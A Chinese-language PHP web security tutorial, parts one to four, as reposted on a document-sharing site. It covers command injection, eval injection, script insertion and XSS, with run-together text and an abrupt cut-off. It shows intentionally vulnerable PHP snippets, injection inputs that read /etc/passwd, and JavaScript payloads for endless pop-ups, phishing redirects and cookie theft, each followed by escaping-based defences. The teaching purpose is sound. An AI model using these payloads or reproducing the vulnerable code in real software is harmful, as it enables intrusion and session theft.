您好,欢迎访问三七文档
当前位置:首页 > 行业资料 > 能源与动力工程 > PHP漏洞全解1-9
作者:文档制作:漏洞全解(一)-PHP网页的安全性问题针对PHP的网站主要存在下面几种攻击方式:1、命令注入(CommandInjection)2、eval注入(EvalInjection)3、客户端脚本攻击(ScriptInsertion)4、跨网站脚本攻击(CrossSiteScripting,XSS)5、SQL注入攻击(SQLinjection)6、跨网站请求伪造攻击(CrossSiteRequestForgeries,CSRF)7、Session会话劫持(SessionHijacking)8、Session固定攻击(SessionFixation)9、HTTP响应拆分攻击(HTTPResponseSplitting)10、文件上传漏洞(FileUploadAttack)11、目录穿越漏洞(DirectoryTraversal)12、远程文件包含攻击(RemoteInclusion)13、动态函数注入攻击(DynamicVariableEvaluation)14、URL攻击(URLattack)15、表单提交欺骗攻击(SpoofedFormSubmissions)16、HTTP请求欺骗攻击(SpoofedHTTPRequests)几个重要的php.ini选项RegisterGlobalsPHP漏洞全解(二)-命令注入攻击命令注入攻击PHP中可以使用下列5个函数来执行外部的应用程序或函数system、exec、passthru、shell_exec、“(与shell_exec功能相同)函数原型stringsystem(stringcommand,int&return_var)command要执行的命令return_var存放执行命令的执行后的状态值stringexec(stringcommand,array&output,int&return_var)command要执行的命令output获得执行命令输出的每一行字符串return_var存放执行命令后的状态值voidpassthru(stringcommand,int&return_var)command要执行的命令return_var存放执行命令后的状态值作者:文档制作:(stringcommand)command要执行的命令漏洞实例例1://ex1.php?php$dir=$_GET[dir];if(isset($dir)){echopre;system(ls-al.$dir);echo/pre;}?我们提交=|cat/etc/passwd提交以后,命令变成了system(ls-al|cat/etc/passwd);eval注入攻击eval函数将输入的字符串参数当作PHP程序代码来执行函数原型:mixedeval(stringcode_str)//eval注入一般发生在攻击者能控制输入的字符串的时候//ex2.php?php作者:文档制作:=var;if(isset($_GET[arg])){$arg=$_GET[arg];eval(\$var=$arg;);echo\$var=.$var;}?当我们提交=phpinfo();漏洞就产生了动态函数?phpfuncA(){dosomething();}funcB(){dosomething();}if(isset($_GET[func])){$myfunc=$_GET[func];echo$myfunc();}?程序员原意是想动态调用A和B函数,那我们提交=phpinfo漏洞产生防范方法1、尽量不要执行外部命令2、使用自定义函数或函数库来替代外部命令的功能3、使用escapeshellarg函数来处理命令参数4、使用safe_mode_exec_dir指定可执行文件的路径esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“’”,替换成“\’”,双引号“”,替换成“\”,分号“;”替换成“\;”用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内safe_mode=Onsafe_mode_exec_dir=/usr/local/php/bin/作者:文档制作:漏洞全解(三)-客户端脚本植入客户端脚本植入客户端脚本植入(ScriptInsertion),是指将可以执行的脚本插入到表单、图片、动画或超链接文字等对象内。当用户打开这些对象后,攻击者所植入的脚本就会被执行,进而开始攻击。可以被用作脚本植入的HTML标签一般包括以下几种:1、script标签标记的javascript和vbscript等页面脚本程序。在script标签内可以指定js程序代码,也可以在src属性内指定js文件的URL路径2、object标签标记的对象。这些对象是javaapplet、多媒体文件和ActiveX控件等。通常在data属性内指定对象的URL路径3、embed标签标记的对象。这些对象是多媒体文件,例如:swf文件。通常在src属性内指定对象的URL路径4、applet标签标记的对象。这些对象是javaapplet,通常在codebase属性内指定对象的URL路径5、form标签标记的对象。通常在action属性内指定要处理表单数据的web应用程序的URL路径客户端脚本植入的攻击步骤1、攻击者注册普通用户后登陆网站2、打开留言页面,插入攻击的js代码3、其他用户登录网站(包括管理员),浏览此留言的内容4、隐藏在留言内容中的js代码被执行,攻击成功实例数据库CREATETABLE`postmessage`(`id`int(11)NOTNULLauto_increment,`subject`varchar(60)NOTNULLdefault”,作者:文档制作:`name`varchar(40)NOTNULLdefault”,`email`varchar(25)NOTNULLdefault”,`question`mediumtextNOTNULL,`postdate`datetimeNOTNULLdefault’0000-00-0000:00:00′,PRIMARYKEY(`id`))ENGINE=MyISAMDEFAULTCHARSET=gb2312COMMENT=’使用者的留言’AUTO_INCREMENT=69;//add.php插入留言//list.php留言列表//show.php显示留言提交下图的留言浏览此留言的时候会执行js脚本插入scriptwhile(1){windows.open();}/script无限弹框插入scriptlocation.href=跳转钓鱼页面或者使用其他自行构造的js代码进行攻击防范的方法一般使用htmlspecialchars函数来将特殊字符转换成HTML编码函数原型stringhtmlspecialchars(stringstring,intquote_style,stringcharset)string是要编码的字符串quote_style可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号。ENT_QUOTES,表示双引号和单引号都要转换。ENT_NOQUOTES,表示双引号和单引号都不转换charset可选,表示使用的字符集函数会将下列特殊字符转换成html编码:&—-&—-‘—-‘—-作者:文档制作:—-把show.php的第98行改成?phpechohtmlspecialchars(nl2br($row['question']),ENT_QUOTES);?然后再查看插入js的漏洞页面PHP漏洞全解(四)-xss跨站脚本攻击跨网站脚本攻击XSS(CrossSiteScripting),意为跨网站脚本攻击,为了和样式表css(CascadingStyleSheet)区别,缩写为XSS跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。跨站脚本攻击的一般步骤:1、攻击者以某种方式发送xss的http链接给目标用户2、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接3、网站执行了此xss攻击脚本4、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息作者:文档制作:、攻击者使用目标用户的信息登录网站,完成攻击当有存在跨站漏洞的程序出现的时候,攻击者可以构造类似=scriptdocument.location=’=’+document.cookie;/script,诱骗用户点击后,可以获取用户cookies值防范方法:利用htmlspecialchars函数将特殊字符转换成HTML编码函数原型stringhtmlspecialchars(stringstring,intquote_style,stringcharset)string是要编码的字符串quote_style可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号。ENT_QUOTES,表示双引号和单引号都要转换。ENT_NOQUOTES,表示双引号和单引号都不转换charset可选,表示使用的字符集函数会将下列特殊字符转换成html编码:&—-&—-‘—-‘—-—-$_SERVER[PHP_SELF]变量的跨站在某个表单中,如果提交参数给自己,会用这样的语句formaction=?phpecho$_SERVER[PHP_SELF];?method=POST作者:文档制作:……/form$_SERVER[PHP_SELF]变量的值为当前页面名称例:中上述的表单那么我们提交(document.cookie);/script那么表单变成formaction=get.php/scriptalert(document.cookie);/scriptmethod=POST跨站脚本被插进去了防御方法还是使用htmlspecialchars过滤输出的变量,或者提交给自身文件的表单使用formaction=method=pos
本文标题:PHP漏洞全解1-9
链接地址:https://www.777doc.com/doc-6105543 .html